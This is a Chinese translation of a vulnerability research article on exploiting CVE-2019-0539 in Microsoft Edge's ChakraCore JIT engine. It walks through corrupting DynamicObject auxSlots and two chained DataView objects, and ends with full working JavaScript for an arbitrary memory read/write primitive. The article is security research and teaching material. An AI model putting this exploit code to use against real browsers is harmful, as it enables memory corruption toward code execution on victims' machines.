原文地址:https://perception-point.io/resources/research/cve-2019-0539-exploitation/

引言

在上一篇文章中,我们介绍了CVE-2019-0539漏洞的成因,在本文中,我们将为读者介绍如何实现完整的R/W(读/写)原语,以为实现RCE(远程执行代码)攻击打下基础。需要注意的是,Microsoft Edge进程是运行在沙箱中的,因此,为了彻底拿下整个系统,需要借助其他漏洞来实现沙箱逃逸。

在这里,我们要特别感谢LokihardtBruno Keith在这一领域的精彩研究,这些研究对于本文来说非常有价值。

漏洞利用

正如我们在成因分析中所看到的,该漏洞使我们能够覆盖javascript对象的slot数组指针。在BlueHat IL 2019大会上,Bruno Keith发表了一篇精彩的研究,我们从中了解到,在Chakra中,javascript对象(o={a: 1, b: 2};)是通过Js::DynamicObject 类实现的,并且,它们可能具有不同的内存布局;同时,我们还了解到属性的slot数组指针称为auxSlots。从DynamicObject类的定义(位于lib\Runtime\Types\DynamicObject.h文件中)中,我们找到了Bruno讨论的DynamicObject的三种可能内存布局的实际规范:

// Memory layout of DynamicObject can be one of the following:
//        (#1)                (#2)                (#3)
//  +--------------+    +--------------+    +--------------+
//  | vtable, etc. |    | vtable, etc. |    | vtable, etc. |
//  |--------------|    |--------------|    |--------------|
//  | auxSlots     |    | auxSlots     |    | inline slots |
//  | union        |    | union        |    |              |
//  +--------------+    |--------------|    |              |
//                      | inline slots |    |              |
//                      +--------------+    +--------------+
// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.

所以,一个对象可能只有一个auxSlots指针而没有内联slot(#1),或者,也可能只有内联slot却没有auxSlots指针(#3),或者两者都有(#2)。在CVE-2019-0539漏洞的POC中,“o”对象是从(#3)内存布局表单开始其生命周期的。然后,当JIT代码最后一次调用OP_InitClass函数时,对象“o”的内存布局就地更改为(#1)。特别是,在JIT代码调用OP_InitClass函数之前和之后,“o”的内存布局如下所示:

之前:                             之后:
+---------------+                   +--------------+   +--->+--------------+
|    vtable     |                   |    vtable    |   |    |    slot 1    | // o.a
+---------------+                   +--------------+   |    +--------------+
|     type      |                   |     type     |   |    |    slot 2    | // o.b
+---------------+                   +--------------+   |    +--------------+
| inline slot 1 | // o.a            |   auxSlots   +---+    |    slot 3    |
+---------------+                   +--------------+        +--------------+
| inline slot 2 | // o.b            |  objectArray |        |    slot 4    |
+---------------+                   +--------------+        +--------------+

在调用OP_InitClass之前,o.a属性通常位于第一个内联slot中。调用后,它通常位于auxSlots指向的数组中,如slot1。因此,正如我们之前在成因分析中所解释的那样,JIT代码会尝试用0x1234来更新第一个内联slot中的o.a属性,但是,由于它不知道对象的内存布局已经发生了变化,因此,它实际上会覆盖auxSlots指针。

现在,为了利用这个漏洞来获得完整的R\W原语,如Bruno所言,我们需要破坏其他一些有用的对象,并通过这些对象来读\写内存中的任意地址。但是,我们首先需要更好地理解该漏洞能给我们带来了哪些好处。当我们覆盖DynamicObject的auxSlots指针时,我们可以像在auxSlots数组那样,来“对待”auxSlots中的内容。因此,如果我们可以使用该漏洞来设置auxSlots,使其指向JavaScriptArray对象,如下所示

some_array = [{}, 0, 1, 2];
...
opt(o, cons, some_array); // o->auxSlots = some_array

然后,我们可以通过将这些属性赋值为“o”来覆盖JavascriptArray对象“some_array”的内存。在使用该漏洞覆盖auxSlots后,内存状态如下所示:

o                        some_array
+--------------+   +--->+---------------------+
|    vtable    |   |    |       vtable        | // o.a
+--------------+   |    +---------------------+
|     type     |   |    |        type         | // o.b
+--------------+   |    +---------------------+
|   auxSlots   +---+    |      auxSlots       | // o.c?
+--------------+        +---------------------+
|  objectArray |        |     objectArray     | // o.d?
+--------------+        |- - - - - - - - - - -|
                        |      arrayFlags     |
                        |  arrayCallSiteIndex |
                        +---------------------+
                        |       length        | // o.e??
                        +---------------------+
                        |        head         | // o.f??
                        +---------------------+
                        |    segmentUnion     | // o.g??
                        +---------------------+
                        |        ....         |
                        +---------------------+

因此,理论上说,如果我们想要覆盖数组的长度字段,我们可以执行o.e = 0xFFFFFFFF之类的赋值操作,然后,通过some_array [1000],就能根据数组的基地址访问一些远程地址。但是,这里面临几个问题:

除“a”和“b”之外的所有其他属性都未定义。这意味着为了将o.e定义在正确的槽中,我们首先需要为所有其他属性分配相应的空间,这个操作会破坏比所需更多的内存,从而导致我们的数组无法使用。

  1. 原始的auxSlots数组不够大。它最初只分配了4个slot。如果我们定义了4个以上的属性,Js::DynamicTypeHandler::AdjustSlots函数将分配一个新的slot数组,并让auxSlots指向它,而非指向我们的JavascriptArray对象。
  2. 我们原本打算放入JavascriptArray对象的length字段中的0xFFFFFFFF值将无法完全按原样写入。因为Chakra会使用所谓的标记型数字,因此,待写入的数字将被进行“包装”。(相关的细节,请参阅Chartra的博客文章)。
  3. 即使我们能够用一些较大的值覆盖长度字段,同时避免破坏内存的其余部分,我们也只能得到一个“相对”的R\W原语(相对于数组基地址),其功能明显不如“绝对”R\W原语强大。
  4. 实际上,覆盖JavascriptArray的长度字段是没有用的,这无法帮助我们实现所期望的相对R\W原语。在这种特殊情况下,真正需要做的是破坏数组的段大小,但我们不会在这里讨论。尽管如此,让我们假设覆盖长度字段是有用的,因为它很好地展示了该利用方法的精妙之处。

因此,我们需要找到一些特殊的技术,才能克服上述问题。现在,让我们先讨论问题1和问题2。首先要想到的是,在触发漏洞之前,可以先在“o”对象中预定义更多的属性。这样的话,当覆盖auxSlots指针时,我们就已经在与数组的长度字段相对应的正确槽中定义好了o.e。不幸的是,当预先添加更多属性时,会出现以下两种情况之一:

  • 我们过早地将对象内存布局修改为布局(#1),这样的话,从一开始就阻止了该漏洞的发生,因为,再也没有机会覆盖auxSlots指针了。
  • 我们只是创建了更多的内联slot,而这些slot在触发该漏洞后始终保持内联状态。对象以布局(#2)结束,大多数属性位于新的内联slot中。因此,我们仍然无法抵达所谓的auxSlots数组中索引号高于slot2的slot,即“some_array”对象的内存。

Bruno Keith在他的演讲中提出了一个很好的思路,可以同时解决问题1和问题2。该方法不是直接破坏目标对象(在我们的示例中是JavaScriptArray),而是首先破坏另一个预先准备好的、具有许多属性的DynamicObject,该对象已经位于内存布局(#1)中,具体如下所示:

obj = {}
obj.a = 1;
obj.b = 2;  
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

some_array = [{}, 0, 1, 2];
...

opt(o, cons, obj); // o->auxSlots = obj

o.c = some_array; // obj->auxSlots = some_array

让我们看一下运行o.c=some_array;语句前后的内存状态:

运行之前: 
       o                      obj
+--------------+   +--->+--------------+        +->+--------------+
|    vtable    |   |    |    vtable    | //o.a  |  |    slot 1    | // obj.a
+--------------+   |    +--------------+        |  +--------------+ 
|     type     |   |    |     type     | //o.b  |  |    slot 2    | // obj.b
+--------------+   |    +--------------+        |  +--------------+ 
|   auxSlots   +---+    |   auxSlots   +--------+  |    slot 3    | // obj.c
+--------------+        +--------------+           +--------------+ 
|  objectArray |        |  objectArray |           |    slot 4    | // obj.d
+--------------+        +--------------+           +--------------+ 
                                                   |    slot 5    | // obj.e
                                                   +--------------+ 
                                                   |    slot 6    | // obj.f
                                                   +--------------+ 
                                                   |    slot 7    | // obj.g
                                                   +--------------+
                                                   |    slot 8    | // obj.h
                                                   +--------------+
                                                   |    slot 9    | // obj.i
                                                   +--------------+
                                                   |    slot 10   | // obj.j
                                                   +--------------+

运行之后: 
       o                      obj                        some_array
+--------------+   +--->+--------------+        +->+---------------------+
|    vtable    |   |    |    vtable    | //o.a  |  |       vtable        | // obj.a
+--------------+   |    +--------------+        |  +---------------------+
|     type     |   |    |     type     | //o.b  |  |        type         | // obj.b
+--------------+   |    +--------------+        |  +---------------------+
|   auxSlots   +---+    |   auxSlots   +-//o.c--+  |      auxSlots       | // obj.c
+--------------+        +--------------+           +---------------------+
|  objectArray |        |  objectArray |           |     objectArray     | // obj.d
+--------------+        +--------------+           |- - - - - - - - - - -|
                                                   |      arrayFlags     |
                                                   |  arrayCallSiteIndex |
                                                   +---------------------+
                                                   |       length        | // obj.e
                                                   +---------------------+
                                                   |        head         | // obj.f
                                                   +---------------------+
                                                   |    segmentUnion     | // obj.g
                                                   +---------------------+
                                                   |        ....         |
                                                   +---------------------+

现在,执行obj.e=0xFFFFFFFF实际上将替换"some_array"对象的长度字段。但是,如问题3中所述,该值不会按原样写入,而是以"包装后"的形式写入。即使我们忽略问题3,问题4-5仍然会使我们所选择的对象无效。因此,我们应该选择另一个破坏的对象。Bruno巧妙地在漏洞利用代码中选择使用ArrayBuffer对象,但不幸的是,在提交CF71A962C1CE0905A12CB3C8F23B6A37987E68DF时,ArrayBuffer对象的内存布局已经发生了更改。它不再指向数据缓冲区,而是通过BufferContent字段指向名为RefCountedBuffer的中间结构,并且只有该结构指向实际数据。因此,我们需要一种不同的解决方案。

最终,我们想到了破坏DataView对象的方法,该对象实际上在内部使用了ArrayBuffer。因此,它与使用ArrayBuffer时具有类似的优点,它也直接指向ArrayBuffer的底层数据缓冲区!下面是使用ArrayBuffer初始化的DataView对象的内存布局(dv = new DataView(new ArrayBuffer(0x100));):

如我们所见,DataView对象指向的是ArrayBuffer对象。而ArrayBuffer则指向前面提到的RefCountedBuffer对象,然后,该对象指向内存中的实际数据缓冲区。但是,如前所述,DataView对象也直接指向实际的数据缓冲区! 如果我们用自己的指针覆盖DataView对象的缓冲区字段,我们实际上可以根据需要实现所需的绝对读写原语。所以,我们的障碍只剩下问题3——我们不能使用损坏的DynamicObject在内存中按原样写入数字(标记型数字……)。但是现在,由于DataView对象允许我们在其指向的缓冲区上按原样写入数字(有关详细信息,请参见DataView“API”),我们可以再次借鉴Bruno的思路,使用两个DataView对象,其中第一个对象指向第二个对象,并按照我们希望的方式来破坏它。这样,就能解决了最后一个问题,并获得了梦寐以求的绝对R\W原语。

让我们回顾一下整个利用过程,具体见下面的图示和说明(这里省略了我们不感兴趣的对象):


  1. 触发将"o"对象的auxSlots设置为“obj”对象(opt(o, cons, obj);)的漏洞。
  2. 使用“o”对象将“obj”对象的auxSlots设置为第一个DataView(o.c = dv1;)。
  3. 使用“obj”对象将第一个DataView (‘dv1’) 的缓冲区字段设置为下一个DataView对象(obj.h = dv2;)。
  4. 使用第一个DataView对象“dv1”将第二个DataView对象“dv2”的缓冲区字段精确设置为指定的地址(dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);)。大家请注意观察这里是如何将所选地址(0xDEADBEEFDEADBEEF)写入“dv2”缓冲区字段的精确偏移量(0x38)的。
  5. 使用第二个DataView对象(“dv2”)读写指定的地址(dv2.getUint32(0, true); dv2.getUint32(4, true);)。
  6. 对于要执行的每个读写操作,我们都要重复步骤4和5。

下面是完整的R\W原语代码:

// commit 331aa3931ab69ca2bd64f7e020165e693b8030b5
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

BASE = 0x100000000;

function hex(x) {
    return "0x" + x.toString(16);
}

function opt(o, c, value) {
    o.b = 1;

    class A extends c {}

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o;

    opt(o, cons, obj); // o->auxSlots = obj (Step 1)

    o.c = dv1; // obj->auxSlots = dv1 (Step 2)

    obj.h = dv2; // dv1->buffer = dv2 (Step 3)

    let read64 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);

        // read from addr (Step 5)
        return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
    }

    let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);

        // write to addr (Step 5)
        dv2.setInt32(0, value_lo, true);
        dv2.setInt32(0, value_hi, true);
    }

    // get dv2 vtable pointer
    vtable_lo = dv1.getUint32(0, true);
    vtable_hi = dv1.getUint32(4, true);
    print(hex(vtable_lo + vtable_hi * BASE));

    // read first vtable entry using the R\W primitive
    print(hex(read64(vtable_lo, vtable_hi)));

    // write a value to address 0x1111111122222222 using the R\W primitive (this will crash)
    write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}

main();

注意:如果您想自己调试代码(例如,在WindBG中),一个非常方便的方法是使用“instruments”中断JS代码中感兴趣的行。为此,请参阅以下两个有用的示例:

  • 在ch!WScriptJsrt::EchoCallback上设置断点,以在执行print();时停下来。
  • 在chakracore!Js::DynamicTypeHandler::SetSlotUnchecked上设置断点,以便解释器在执行为DynamicObject属性赋值的语句前停下来。这对于了解JavaScript对象(“o”和“obj”)如何损坏内存中的其他对象非常有用。

当然,您可以将两者结合使用,就能轻松地浏览整个利用代码了。

小结

本文中,我们详细介绍了如何使用DynamicObject auxSlots的JIT损坏来最终获得完整的R\W原语。在这里,我们必须使用损坏的对象来进一步破坏其他感兴趣的对象——特别是两个DataView对象,其中第一个会精确地破坏第二个,以控制原语的选择地址。同时,我们还必须设法绕过使用javascript的DynamicObject“API”强加的一些限制和问题。最后,需要注意的是,获取完整的R\W原语只是利用该漏洞的第一步。攻击者仍然需要重定向执行流,以获得完整的RCE。然而,这已经超出了本文的范围,或者,也可以看作是留给读者的作业。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖